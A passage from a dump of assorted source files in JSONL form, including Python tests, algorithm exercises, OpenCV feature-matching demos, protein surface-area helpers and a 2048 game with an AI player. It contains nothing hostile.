else:\n rmtree(installedTop)\n print('Old python files removed. Overwriting old version')\n\n\nif not isdir(installedTop):\n makedirs(installedTop)\n\n\nschemas = glob(join(pkgtop, 'schemas/*.org'))\nfor schema in schemas:\n copy(schema, join(jhRoot, 'schemas'))\n\nsrcs = glob(join(pkgtop, 'python', pkg, '*.py'))\nfor src in srcs:\n copy(src, installedTop)\n\n\n\n\n\n","repo_name":"lsst-camera-dh/lcatr-schema","sub_path":"installMe.py","file_name":"installMe.py","file_ext":"py","file_size_in_byte":1865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73109243987","text":"import os\nimport sys\n\n# wrapped in a try/except because of weirdness in how\n# run.py works as compared to nose.\ntry:\n import test_util\nexcept ImportError:\n sys.path.insert(0, os.path.dirname(os.path.dirname(__file__)))\n import test_util\n\nimport test_push_command\n\n\nclass ObsstoreOnMixIn(object):\n # do not double the test size by being wrapped again\n obsolete_mode_tests = False\n stupid_mode_tests = False\n\n def setUp(self):\n super(ObsstoreOnMixIn, self).setUp()\n hgrcpath = os.environ.get('HGRCPATH')\n assert hgrcpath\n with open(hgrcpath, 'a') as f:\n f.write('\\n[experimental]\\nevolution=createmarkers\\n')\n\n def shortDescription(self):\n text = super(ObsstoreOnMixIn, self).shortDescription()\n if text:\n text += ' (obsstore on)'\n return text\n\n\ndef buildtestclass(cls):\n name = 'ObsstoreOn%s' % cls.__name__\n newcls = type(name, (ObsstoreOnMixIn, cls,), {})\n globals()[name] = newcls\n\n\nbuildtestclass(test_push_command.PushTests)\n","repo_name":"easye/hgsubversion","sub_path":"tests/comprehensive/test_obsstore_on.py","file_name":"test_obsstore_on.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28563577867","text":"from nova.compute import flavors\nfrom nova import exception\nfrom nova import test\n\n\nclass ExtraSpecTestCase(test.NoDBTestCase):\n def _flavor_validate_extra_spec_keys_invalid_input(self, key_name_list):\n self.assertRaises(exception.InvalidInput,\n flavors.validate_extra_spec_keys, key_name_list)\n\n def test_flavor_validate_extra_spec_keys_invalid_input(self):\n lists = [['', ], ['*', ], ['+', ]]\n for x in lists:\n self._flavor_validate_extra_spec_keys_invalid_input(x)\n\n def test_flavor_validate_extra_spec_keys(self):\n key_name_list = ['abc', 'ab c', 'a-b-c', 'a_b-c', 'a:bc']\n flavors.validate_extra_spec_keys(key_name_list)\n\n\nclass CreateFlavorTestCase(test.NoDBTestCase):\n def test_create_flavor_ram_error(self):\n args = (\"ram_test\", \"9999999999\", \"1\", \"10\", \"1\")\n try:\n flavors.create(*args)\n self.fail(\"Be sure this will never be executed.\")\n except exception.InvalidInput as e:\n self.assertIn(\"ram\", e.message)\n\n def test_create_flavor_disk_error(self):\n args = (\"disk_test\", \"1024\", \"1\", \"9999999999\", \"1\")\n try:\n flavors.create(*args)\n self.fail(\"Be sure this will never be executed.\")\n except exception.InvalidInput as e:\n self.assertIn(\"disk\", e.message)\n\n def test_create_flavor_ephemeral_error(self):\n args = (\"ephemeral_test\", \"1024\", \"1\", \"10\", \"9999999999\")\n try:\n flavors.create(*args)\n self.fail(\"Be sure this will never be executed.\")\n except exception.InvalidInput as e:\n self.assertIn(\"ephemeral\", e.message)\n","repo_name":"BU-NU-CLOUD-SP16/Trusted-Platform-Module-nova","sub_path":"nova/tests/unit/compute/test_flavors.py","file_name":"test_flavors.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"48"} +{"seq_id":"2793076517","text":"'''\nBOJ 9019\n\nn은 0이상 9999이하의 숫저\n\nD : n을 두배, 9999보다 크면 10000으로 나눔\nS : n --> n-1로 저장 n이 0이면 9999로\nL : 각자릿수를 왼편으로 회전, 1234 --> 2341\nR : 각 자릿수롤 오른편으로 회전, 1234 --> 4123\n'''\nfrom collections import deque\nimport sys\ninput = sys.stdin.readline\ndef D_level(n):\n n = (n * 2)%10000\n return n\n\ndef S_level(n):\n if n == 0:\n n = 9999\n else:\n n -= 1\n return n\n\ndef L_level(n):\n return int((n % 1000 * 10) + (n / 1000))\n\ndef R_level(n):\n return int(n % 10 * 1000 + n // 10)\n\nT = int(input())\nfor _ in range(T):\n A, B = map(int,input().split())\n visited = [0]*10000\n visited[A] = 1\n dq = deque([[A,'']])\n res = ''\n while dq:\n n, char = dq.popleft()\n if n == B:\n res = char\n break\n\n D_num = D_level(n)\n if not visited[D_num]:\n visited[D_num] = 1\n dq.append([D_num, char + 'D'])\n\n S_num = S_level(n)\n if not visited[S_num]:\n dq.append([S_num,char+'S'])\n visited[S_num] = 1\n\n L_num = L_level(n)\n if not visited[L_num]:\n dq.append([L_num,char+'L'])\n visited[L_num] = 1\n\n R_num = R_level(n)\n if not visited[R_num]:\n visited[R_num] = 1\n dq.append([R_num,char+'R'])\n\n print(res)","repo_name":"silverjjj/algorithm","sub_path":"BOJ/9019.py","file_name":"9019.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23927236368","text":"# Write a program to implement all the insert and delete functions and display function along with an appropriate menu for a single linked list.\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n def __init__(self):\n self.head = None\n\n def createList(self):\n n = int(input(\"Enter the number of nodes: \"))\n if n == 0:\n return\n for i in range(n):\n data = int(input(\"Enter the element to be inserted: \"))\n self.insertAtLast(data)\n\n def insertAtFirst(self, data):\n newNode = Node(data) # create a new node\n newNode.next = self.head #here we are pointing the new node to the head of the list\n self.head = newNode #here we are making the new node as the head of the list\n\n def insertAtLast(self, data):\n newNode = Node(data)\n if self.head is None: #if the list is empty then make the new node as the head of the list\n self.head = newNode\n return\n last = self.head #make a pointer to the head of the list\n while last.next: #loop until the last node of the list\n last = last.next #move the pointer to the next node of the list\n last.next = newNode #make the new node as the next node of the last node of the list\n \n def insertAtAny(self, data, x):\n newNode = Node(data)\n p = self.head #make a pointer to the head of the list\n i = 0\n while i < x-1 and p is not None: #loop until the x-1 node of the list\n p = p.next #move the pointer to the next node of the list\n i += 1 #increment the counter\n if p is None: #if the counter reaches the end of the list then return that\n print(\"Index out of bound\")\n else:\n newNode.next = p.next\n p.next = newNode\n\n def deleteFirst(self):\n if self.head is None:\n return\n self.head = self.head.next\n\n def deleteLast(self):\n if self.head is None:\n return\n if self.head.next is None:\n self.head = None\n return\n p = self.head\n while p.next.next:\n p = p.next\n p.next = None\n\n def deleteAny(self, x):\n if self.head is None:\n return\n if x == 1:\n self.head = self.head\n return\n p = self.head\n i = 0\n while i < x-1 and p is not None:\n p = p.next\n i += 1\n if p is None:\n print(\"Index out of bound\")\n else:\n p.next = p.next.next\n\n def displayList(self):\n if self.head is None:\n print(\"List is empty\")\n return\n else:\n p = self.head\n while p:\n print(p.data, \" \", end='')\n p = p.next\n print()\n\nif __name__ == '__main__':\n myList = LinkedList()\n myList.createList()\n while True:\n print(\"1. Display List\")\n print(\"2. Insert at beginning\")\n print(\"3. Insert at end\")\n print(\"4. Insert at any position\")\n print(\"5. Delete first node\")\n print(\"6. Delete last node\")\n print(\"7. Delete any node\")\n print(\"8. Quit\")\n option = int(input(\"Enter your choice: \"))\n if option == 1:\n myList.displayList()\n elif option == 2:\n data = int(input(\"Enter the element to be inserted: \"))\n myList.insertAtFirst(data)\n elif option == 3:\n data = int(input(\"Enter the element to be inserted: \"))\n myList.insertAtLast(data)\n elif option == 4:\n data = int(input(\"Enter the element to be inserted: \"))\n x = int(input(\"Enter the position at which the element is to be inserted: \"))\n myList.insertAtAny(data, x)\n elif option == 5:\n myList.deleteFirst()\n elif option == 6:\n myList.deleteLast()\n elif option == 7:\n x = int(input(\"Enter the position of the node to be deleted: \"))\n myList.deleteAny(x)\n elif option == 8:\n break\n else:\n print(\"Wrong option\")\n print()\n","repo_name":"RiddhiRaj/DSA-Lab-Assignment","sub_path":"Assignment3/Python/all-linkedlist.py","file_name":"all-linkedlist.py","file_ext":"py","file_size_in_byte":4206,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"21635875681","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 19 15:40:51 2017\n\n@author: tomislav\n\"\"\"\n\nimport cv2\nimport numpy as np\n\n\nclass ORBWindow(object):\n def __init__(self, queryImage, trainingImage):\n self.queryImage = queryImage\n self.trainingImage = trainingImage\n self.orbParameters = {\n 'nfeatures': 1000,\n 'scaleFactor': 1.11,\n 'nlevels': 30,\n 'edgeThreshold': 8, # roughly match the patchSize parameter\n 'firstLevel': 0, # 0\n 'WTA_K': 3, # 2, 3, 4\n 'scoreType': cv2.ORB_HARRIS_SCORE, # cv2.ORB_FAST_SCORE\n 'patchSize': 73\n }\n self.orb = cv2.ORB_create(**self.orbParameters)\n self.kp1, self.des1 = self.orb.detectAndCompute(self.queryImage, None)\n self.kp2, self.des2 = self.orb.detectAndCompute(self.trainingImage,\n None)\n self.des1, self.des2 = np.float32(self.des1), np.float32(self.des2)\n\n self.FLANN_INDEX_LSH = 0\n self.indexParams = dict(algorithm=self.FLANN_INDEX_LSH, table_number=6,\n key_size=12, multi_probe_level=1)\n self.searchParams = dict(checks=50)\n self.flann = cv2.FlannBasedMatcher(self.indexParams, self.searchParams)\n\n self.matches = self.flann.knnMatch(self.des1, self.des2, k=2)\n self.matchesMaks = [[0, 0] for i in xrange(len(self.matches))]\n for i, (m, n) in enumerate(self.matches):\n if m.distance < 0.7 * n.distance:\n self.matchesMaks[i] = [1, 0]\n self.drawParams = dict(matchColor=(0, 255, 0),\n singlePointColor=(255, 0, 0),\n matchesMask=self.matchesMaks,\n flags=0)\n\n self.resultImage = cv2.drawMatchesKnn(self.queryImage, self.kp1,\n self.trainingImage, self.kp2,\n self.matches, None,\n **self.drawParams)\n cv2.imshow('result', self.resultImage)\n cv2.createTrackbar('nfeatures', 'result', 1000, 5000, self.update)\n cv2.createTrackbar('scaleFactor', 'result', 11, 80, self.update)\n cv2.createTrackbar('nlevels', 'result', 30, 50, self.update)\n cv2.createTrackbar('edgeThreshold', 'result', 8, 100, self.update)\n cv2.createTrackbar('WTA_K', 'result', 3, 4, self.update)\n cv2.createTrackbar('patchSize', 'result', 73, 100, self.update)\n\n def update(self, pos):\n nfeatures = cv2.getTrackbarPos('nfeatures', 'result')\n if nfeatures > 5:\n self.nfeatures = nfeatures\n scaleFactor = cv2.getTrackbarPos('scaleFactor', 'result')\n if scaleFactor >= 2:\n self.scaleFactor = 1. + scaleFactor / 100.\n nlevels = cv2.getTrackbarPos('nlevels', 'result')\n if nlevels > 0:\n self.nlevels = nlevels\n edgeThreshold = cv2.getTrackbarPos('edgeThreshold', 'result')\n if edgeThreshold > 0:\n self.edgeThreshold = edgeThreshold\n WTA_K = cv2.getTrackbarPos('WTA_K', 'result')\n if WTA_K >= 2:\n self.WTA_K = WTA_K\n patchSize = cv2.getTrackbarPos('patchSize', 'result')\n if patchSize > 0:\n self.patchSize = patchSize\n\n orbParameters = {\n 'nfeatures': self.nfeatures,\n 'scaleFactor': self.scaleFactor,\n 'nlevels': self.nlevels,\n 'edgeThreshold': self.edgeThreshold,\n # roughly match the patchSize parameter\n 'firstLevel': 0, # 0\n 'WTA_K': self.WTA_K, # 2, 3, 4\n 'scoreType': cv2.ORB_HARRIS_SCORE, # cv2.ORB_FAST_SCORE\n 'patchSize': self.patchSize\n }\n\n orb = cv2.ORB_create(**orbParameters)\n kp1, des1 = orb.detectAndCompute(self.queryImage, None)\n kp2, des2 = orb.detectAndCompute(self.trainingImage,\n None)\n des1, des2 = np.float32(des1), np.float32(des2)\n\n flann = cv2.FlannBasedMatcher(self.indexParams, self.searchParams)\n\n matches = flann.knnMatch(des1, des2, k=2)\n matchesMaks = [[0, 0] for i in xrange(len(matches))]\n for i, (m, n) in enumerate(matches):\n if m.distance < 0.7 * n.distance:\n matchesMaks[i] = [1, 0]\n drawParams = dict(matchColor=(0, 255, 0),\n singlePointColor=(255, 0, 0),\n matchesMask=matchesMaks,\n flags=0)\n\n resultImage = cv2.drawMatchesKnn(self.queryImage, kp1,\n self.trainingImage, kp2,\n matches, None,\n **drawParams)\n cv2.imshow('result', resultImage)\n\n\nclass SIFTWindow(object):\n def __init__(self, queryImage, trainingImage):\n self.queryImage = queryImage\n self.trainingImage = trainingImage\n self.siftParameters = {\n 'nfeatures': 1000,\n 'nOctaveLayers': 7,\n 'contrastThreshold': 0.018, # larger threshold, less features\n 'edgeThreshold': 40, # larger threshold, more features\n 'sigma': 1.56 # weak camera, reduce the number\n }\n self.sift = cv2.xfeatures2d.SIFT_create(**self.siftParameters)\n self.kp1, self.des1 = self.sift.detectAndCompute(self.queryImage, None)\n self.kp2, self.des2 = self.sift.detectAndCompute(self.trainingImage,\n None)\n self.des1, self.des2 = np.float32(self.des1), np.float32(self.des2)\n\n self.FLANN_INDEX_KDTREE = 0\n self.indexParams = dict(algorithm=self.FLANN_INDEX_KDTREE, trees=5)\n self.searchParams = dict(checks=50)\n self.flann = cv2.FlannBasedMatcher(self.indexParams, self.searchParams)\n\n self.matches = self.flann.knnMatch(self.des1, self.des2, k=2)\n self.matchesMaks = [[0, 0] for i in xrange(len(self.matches))]\n for i, (m, n) in enumerate(self.matches):\n if m.distance < 0.7 * n.distance:\n self.matchesMaks[i] = [1, 0]\n self.drawParams = dict(matchColor=(0, 255, 0),\n singlePointColor=(255, 0, 0),\n matchesMask=self.matchesMaks,\n flags=0)\n\n self.resultImage = cv2.drawMatchesKnn(self.queryImage, self.kp1,\n self.trainingImage, self.kp2,\n self.matches, None,\n **self.drawParams)\n cv2.imshow('result', self.resultImage)\n cv2.createTrackbar('nfeatures', 'result', 1000, 1000, self.update)\n cv2.createTrackbar('nOctaveLayers', 'result', 7, 20, self.update)\n cv2.createTrackbar('contrastThreshold', 'result', 18, 100,\n self.update)\n cv2.createTrackbar('edgeThreshold', 'result', 40, 60, self.update)\n cv2.createTrackbar('sigma', 'result', 56, 100, self.update)\n\n def update(self, pos):\n nfeatures = cv2.getTrackbarPos('nfeatures', 'result')\n if nfeatures > 5:\n self.nfeatures = nfeatures\n nOctaveLayers = cv2.getTrackbarPos('nOctaveLayers', 'result')\n if nOctaveLayers >= 1:\n self.nOctaveLayers = nOctaveLayers\n contrastThreshold = cv2.getTrackbarPos('contrastThreshold', 'result')\n if contrastThreshold > 0:\n self.contrastThreshold = contrastThreshold / 1000.\n edgeThreshold = cv2.getTrackbarPos('edgeThreshold', 'result')\n if edgeThreshold > 0:\n self.edgeThreshold = edgeThreshold\n sigma = cv2.getTrackbarPos('sigma', 'result')\n if sigma > 1:\n self.sigma = 1 + sigma / 100.\n\n siftParameters = {\n 'nfeatures': self.nfeatures,\n 'nOctaveLayers': self.nOctaveLayers,\n 'contrastThreshold': self.contrastThreshold,\n 'edgeThreshold': self.edgeThreshold,\n 'sigma': self.sigma,\n }\n\n sift = cv2.xfeatures2d.SIFT_create(**siftParameters)\n kp1, des1 = sift.detectAndCompute(self.queryImage, None)\n kp2, des2 = sift.detectAndCompute(self.trainingImage, None)\n des1, des2 = np.float32(des1), np.float32(des2)\n\n flann = cv2.FlannBasedMatcher(self.indexParams, self.searchParams)\n\n matches = flann.knnMatch(des1, des2, k=2)\n matchesMaks = [[0, 0] for i in xrange(len(matches))]\n for i, (m, n) in enumerate(matches):\n if m.distance < 0.7 * n.distance:\n matchesMaks[i] = [1, 0]\n drawParams = dict(matchColor=(0, 255, 0),\n singlePointColor=(255, 0, 0),\n matchesMask=matchesMaks,\n flags=0)\n\n resultImage = cv2.drawMatchesKnn(self.queryImage, kp1,\n self.trainingImage, kp2,\n matches, None,\n **drawParams)\n cv2.imshow('result', resultImage)\n\n\nclass SURFWindow(object):\n def __init__(self, queryImage, trainingImage):\n self.queryImage = queryImage\n self.trainingImage = trainingImage\n self.surfParameters = {\n 'hessianThreshold': 550, # larger value, less features\n # 300-500 good value # 870\n 'nOctaves': 2, # number of pyramid octaves\n 'nOctaveLayers': 20, # number of layers within octave\n 'extended': False, # 128/64 elements descriptors\n 'upright': False # compute orientation or not\n }\n self.surf = cv2.xfeatures2d.SURF_create(**self.surfParameters)\n self.kp1, self.des1 = self.surf.detectAndCompute(self.queryImage, None)\n self.kp2, self.des2 = self.surf.detectAndCompute(self.trainingImage,\n None)\n self.des1, self.des2 = np.float32(self.des1), np.float32(self.des2)\n\n self.FLANN_INDEX_KDTREE = 0\n self.indexParams = dict(algorithm=self.FLANN_INDEX_KDTREE, trees=5)\n self.searchParams = dict(checks=50)\n self.flann = cv2.FlannBasedMatcher(self.indexParams, self.searchParams)\n\n self.matches = self.flann.knnMatch(self.des1, self.des2, k=2)\n self.matchesMaks = [[0, 0] for i in xrange(len(self.matches))]\n for i, (m, n) in enumerate(self.matches):\n if m.distance < 0.7 * n.distance:\n self.matchesMaks[i] = [1, 0]\n self.drawParams = dict(matchColor=(0, 255, 0),\n singlePointColor=(255, 0, 0),\n matchesMask=self.matchesMaks,\n flags=0)\n\n self.resultImage = cv2.drawMatchesKnn(self.queryImage, self.kp1,\n self.trainingImage, self.kp2,\n self.matches, None,\n **self.drawParams)\n cv2.imshow('result', self.resultImage)\n cv2.createTrackbar('hessianThreshold', 'result', 550, 2000,\n self.update)\n cv2.createTrackbar('nOctaves', 'result', 2, 25, self.update)\n cv2.createTrackbar('nOctaveLayers', 'result', 20, 40, self.update)\n cv2.createTrackbar('extended', 'result', 0, 1, self.update)\n cv2.createTrackbar('trees', 'result', 5, 20, self.update)\n cv2.createTrackbar('checks', 'result', 50, 200, self.update)\n# cv2.imwrite('SURF_rotation_kolj.jpg', self.resultImage)\n\n def update(self, pos):\n self.hessianThreshold = cv2.getTrackbarPos('hessianThreshold',\n 'result')\n self.nOctaves = cv2.getTrackbarPos('nOctaves', 'result')\n self.nOctaveLayers = cv2.getTrackbarPos('nOctaveLayers', 'result')\n self.extended = bool(cv2.getTrackbarPos('extended', 'result'))\n self.trees = cv2.getTrackbarPos('trees', 'result')\n self.checks = cv2.getTrackbarPos('checks', 'result')\n\n surfParameters = {\n 'hessianThreshold': self.hessianThreshold,\n 'nOctaves': self.nOctaves,\n 'nOctaveLayers': self.nOctaveLayers,\n 'extended': self.extended,\n 'upright': False,\n }\n\n surf = cv2.xfeatures2d.SURF_create(**surfParameters)\n kp1, des1 = surf.detectAndCompute(self.queryImage, None)\n kp2, des2 = surf.detectAndCompute(self.trainingImage, None)\n des1, des2 = np.float32(des1), np.float32(des2)\n\n self.indexParams = dict(algorithm=self.FLANN_INDEX_KDTREE,\n trees=self.trees)\n self.searchParams = dict(checks=self.checks)\n flann = cv2.FlannBasedMatcher(self.indexParams, self.searchParams)\n\n matches = flann.knnMatch(des1, des2, k=2)\n matchesMaks = [[0, 0] for i in xrange(len(matches))]\n for i, (m, n) in enumerate(matches):\n if m.distance < 0.7 * n.distance:\n matchesMaks[i] = [1, 0]\n drawParams = dict(matchColor=(0, 255, 0),\n singlePointColor=(255, 0, 0),\n matchesMask=matchesMaks,\n flags=0)\n\n resultImage = cv2.drawMatchesKnn(self.queryImage, kp1,\n self.trainingImage, kp2,\n matches, None,\n **drawParams)\n cv2.imshow('result', resultImage)\n\n\nqueryImage = cv2.imread('trainImages/kolj_ind/kolj_ind-0004.pgm', 0)\ntrainingImage = cv2.imread('trainImages/kolj_ind/kolj_ind-0004.pgm', 0)\ntrainingImage = cv2.resize(trainingImage, None, fx=1.2, fy=1.2,\n interpolation=cv2.INTER_CUBIC)\n\"\"\"\n# create ORB and detect/compute\norbParameters = {'nfeatures': 1000,\n 'scaleFactor': 1.1,\n 'nlevels': 40,\n 'edgeThreshold': 5, # roughly match the patchSize parameter\n 'firstLevel': 0, # 0\n 'WTA_K': 4, # 2, 3, 4\n 'scoreType': cv2.ORB_HARRIS_SCORE, # cv2.ORB_FAST_SCORE\n 'patchSize': 5\n }\norb = cv2.ORB_create(**orbParameters)\nkp1, des1 = orb.detectAndCompute(queryImage, None)\nkp2, des2 = orb.detectAndCompute(trainingImage, None)\ndes1, des2 = np.float32(des1), np.float32(des2)\n\n# Create SIFT and detect/compute\n#siftParameters = {'nfeatures': 500,\n# 'nOctaveLayers': 10,\n# 'contrastThreshold': 0.026, #larger threshold,less features\n# 'edgeThreshold': 40, # larger threshold, more features\n# 'sigma': 1.5 # weak camera, reduce the number\n# }\n#sift = cv2.xfeatures2d.SIFT_create(**siftParameters)\n#kp1, des1 = sift.detectAndCompute(queryImage, None)\n#kp2, des2 = sift.detectAndCompute(trainingImage, None)\n#des1, des2 = np.float32(des1), np.float32(des2)\n\n# Create SURF and detect/compute\n#surfParameters = {'hessianThreshold': 400, # larger value, less features\n# # 300-500 good value\n# 'nOctaves': 25, # number of pyramid octaves\n# 'nOctaveLayers': 10, # number of layers within octave\n# 'extended': True, # 128/64 elements descriptors\n# 'upright': False, # compute orientation or not\n# }\n#surf = cv2.xfeatures2d.SURF_create(**surfParameters)\n#kp1, des1 = surf.detectAndCompute(queryImage, None)\n#kp2, des2 = surf.detectAndCompute(trainingImage, None)\n#des1, des2 = np.float32(des1), np.float32(des2)\n\n# FLANN matcher parameters for ORB detection\nFLANN_INDEX_LSH = 0\nindexParams = dict(algorithm=FLANN_INDEX_LSH, table_number=6, key_size=12,\n multi_probe_level=1)\n\n# FLANN matcher parameters for SIFT/SURF detection\n#FLANN_INDEX_KDTREE = 0\n#indexParams = dict(algorithm=FLANN_INDEX_KDTREE, trees=5)\n\n# Search params and matching\nsearchParams = dict(checks=50)\nflann = cv2.FlannBasedMatcher(indexParams, searchParams)\nmatches = flann.knnMatch(des1, des2, k=2)\n\n# Prepare an empty mask to draw good matches\nmatchesMaks = [[0, 0] for i in xrange(len(matches))]\n\n# David G. Lowe's ratio test, populate the mask\nfor i, (m, n) in enumerate(matches):\n if m.distance < 0.7 * n.distance:\n matchesMaks[i] = [1, 0]\n\ndrawParams = dict(matchColor=(0, 255, 0),\n singlePointColor=(255, 0, 0),\n matchesMask=matchesMaks,\n flags=0)\nresultImage = cv2.drawMatchesKnn(queryImage, kp1, trainingImage, kp2, matches,\n None, **drawParams)\n\"\"\"\ncv2.namedWindow('result', cv2.WINDOW_AUTOSIZE)\n\n#fMatching = ORBWindow(queryImage, trainingImage)\n#fMatching = SIFTWindow(queryImage, trainingImage)\nfMatching = SURFWindow(queryImage, trainingImage)\n\ncv2.waitKey()\ncv2.destroyAllWindows()\n","repo_name":"tbazina/injection-moulding-products-detection-and-recognition","sub_path":"FLANN_ORB_match.py","file_name":"FLANN_ORB_match.py","file_ext":"py","file_size_in_byte":17287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33264022075","text":"from Bio.PDB import *\nimport numpy as np\n\n# Constant\nH2O_RAY = 1.7\nCST_SPHERE = 92\n\n\ndef parser_filter(parser_object):\n \"\"\"\n The parser_filter function takes a parser object (in Bio.PDB) and\n returns the residues, unique residues, atomic identification numbers\n and coordinates.\n\n :param parser_object: the parser object\n :return: residues, unique residues, atom identification numbers\n and coordinates.\n \"\"\"\n resi = []\n unique_residue = []\n atom_id = []\n atom_co = []\n\n for chain in parser_object[0]: # Choose first model in pdb\n for residue in chain:\n # Choose just ATOM.\n if is_aa(residue):\n unique_residue.append(str(residue).split(\" \")[1])\n for atom in residue:\n # Removes the d (disordered atoms).\n if str(atom)[6] != \"d\":\n # Obtain the atoms' identifications.\n atom_id.append(str(atom)[6])\n # Obtain the atoms' coordonates.\n atom_co.append(atom.get_coord())\n # Obtain just the residue.\n resi.append(str(atom.get_parent()).split(\" \")[1])\n return resi, unique_residue, atom_id, atom_co\n\n\ndef fibonacci_sphere(coordonnee, vdw_ray):\n \"\"\"\n The fibonacci_sphere function generates a sphere of points using the\n Fibonacci sequence around an atom.\n The function takes two arguments:\n coordonnee : Position of the atom in the protein (x,y,z)\n vdw_ray : The Van der Waals radius of the atom in angstroms\n\n :param coordonnee : Set the centre of the sphere\n :param vdw_ray : Define the radius of the sphere which will be used to\n generate points\n :return : A list of points on the surface of a sphere\n \"\"\"\n gold = np.pi * (3. - np.sqrt(5.)) # Golden number.\n sx = []\n sy = []\n sz = []\n xyz = []\n for i in range(CST_SPHERE):\n y = 1 - (i / float(CST_SPHERE - 1)) * 2\n radius = np.sqrt(1 - y * y)\n theta = gold * i\n x = np.cos(theta) * radius\n z = np.sin(theta) * radius\n rayon = vdw_ray + (H2O_RAY)\n\n sx = (rayon * x + coordonnee[0])\n sy = (rayon * y + coordonnee[1])\n sz = (rayon * z + coordonnee[2])\n xyz.append([sx, sy, sz])\n\n points = np.array(xyz)\n return points\n\n\ndef distance_euclidienne(co_pts_sphere, co_voisin):\n \"\"\"\n The function Euclidean_distance calculates the distance between\n two points in 3D space.\n It takes as input two lists :\n co_pts_sphere : coordinates of the points of the sphere.\n co_voisin : coordinates of the neighbouring atom to the sphere.\n\n :param co_pts_sphere : Coordinate of a point of the sphere\n :param co_neighbour : Coordinate of the neighbouring atom\n :return : The distance between two points\n \"\"\"\n distance = np.sqrt((co_pts_sphere[0] - co_voisin[0])**2 +\n (co_pts_sphere[1] - co_voisin[1])**2 +\n (co_pts_sphere[2] - co_voisin[2])**2)\n return distance\n\n\ndef residue_area(indexe_residue, expose_surface_atom):\n \"\"\"\n The residue_area function takes in a list of residue and the corresponding\n exposure surface area for each atom in residues. It returns a dictionary\n with the residues as keys and their corresponding exposure surface area\n as values.\n\n :param indexe_residue: The residue index.\n :param expose_surface_atom: The area of each atoms in residue.\n :return: A dictionary with the key being the residue index and value\n being the total surface area of that residue exposed to solvent\n \"\"\"\n area_residue = {}\n for key, value in zip(indexe_residue, expose_surface_atom):\n area_residue[key] = area_residue.get(key, 0) + value\n return area_residue\n\n\ndef area_relative(chain_residue, area_residue):\n \"\"\"\n The area_relative function takes one liste and dictionarie as input. The\n list contains each residue in a protein, and the dictionary contains the\n total area of each residue in a protein. The function then returns an\n integer representing how much more exposed relative surface exposition\n in protein.\n\n :param chain_residue: Specify which residues to include in the calculation\n of relative area\n :param area_residue: Calculate the relative area of each residue in a chain\n :return: The relative area of the chain to the total surface area\n \"\"\"\n relative_area = 0\n for res in chain_residue:\n relative_area += area_residue[res]/area_residue[res]\n return relative_area\n","repo_name":"vmalass/2022_M2-BI_Projet_court","sub_path":"bin/function_prot_expo.py","file_name":"function_prot_expo.py","file_ext":"py","file_size_in_byte":4618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3748470510","text":"from typing import Optional\n\nfrom TreeNode import TreeNode\n\n\nclass Solution:\n def searchBst(self, root: Optional[TreeNode], val: int):\n def dfs(node):\n if node is None or node.val == val:\n return node \n\n if val < node.val:\n return dfs(node.left)\n else:\n return dfs(node.right)\n return dfs(root)\n\nif __name__ == '__main__':\n root = TreeNode(4)\n root.left = TreeNode(2)\n root.right = TreeNode(7)\n\n root.left.left = TreeNode(1)\n root.left.right = TreeNode(3)\n\n s = Solution()\n print(s.searchBst(root, 2))","repo_name":"jprice8/interview-prep","sub_path":"dfs/searchBst.py","file_name":"searchBst.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"39314343029","text":"from tkinter import Frame, Label, CENTER\nfrom random import randint\nimport time\n\nfrom game_board import GameBoard\nfrom ai import AI\n\nSIZE = 500\nGRID_LEN = 4\nGRID_PADDING = 10\n\nBACKGROUND_COLOR_GAME = \"#92877d\"\nBACKGROUND_COLOR_CELL_EMPTY = \"#9e948a\"\nBACKGROUND_COLOR_DICT = { 2:\"#eee4da\", 4:\"#ede0c8\", 8:\"#f2b179\", 16:\"#f59563\", \\\n 32:\"#f67c5f\", 64:\"#f65e3b\", 128:\"#edcf72\", 256:\"#edcc61\", \\\n 512:\"#edc850\", 1024:\"#edc53f\", 2048:\"#edc22e\" }\nCELL_COLOR_DICT = { 2:\"#776e65\", 4:\"#776e65\", 8:\"#f9f6f2\", 16:\"#f9f6f2\", \\\n 32:\"#f9f6f2\", 64:\"#f9f6f2\", 128:\"#f9f6f2\", 256:\"#f9f6f2\", \\\n 512:\"#f9f6f2\", 1024:\"#f9f6f2\", 2048:\"#f9f6f2\" }\nFONT = (\"Verdana\", 40, \"bold\")\n\nclass GameGrid(Frame):\n def __init__(self):\n Frame.__init__(self)\n\n self.grid()\n self.master.title('2048')\n self.grid_cells = []\n\n self.init_grid()\n self.init_matrix()\n self.update_grid_cells()\n self.AI = AI()\n\n self.run_game()\n self.mainloop()\n\n def run_game(self):\n while True:\n self.board.move(self.AI.get_move(self.board))\n self.update_grid_cells()\n self.add_random_tile()\n self.update_grid_cells()\n\n if len(self.board.get_available_moves()) == 0:\n self.game_over_display()\n break\n\n self.update()\n \n def game_over_display(self):\n for i in range(4):\n for j in range(4):\n self.grid_cells[i][j].configure(text=\"\", bg=BACKGROUND_COLOR_CELL_EMPTY)\n\n self.grid_cells[1][1].configure(text=\"TOP\",bg=BACKGROUND_COLOR_CELL_EMPTY)\n self.grid_cells[1][2].configure(text=\"4 TILES:\",bg=BACKGROUND_COLOR_CELL_EMPTY)\n top_4 = list(map(int, reversed(sorted(list(self.board.grid.flatten())))))\n self.grid_cells[2][0].configure(text=str(top_4[0]), bg=BACKGROUND_COLOR_DICT[2048], fg=CELL_COLOR_DICT[2048])\n self.grid_cells[2][1].configure(text=str(top_4[1]), bg=BACKGROUND_COLOR_DICT[2048], fg=CELL_COLOR_DICT[2048])\n 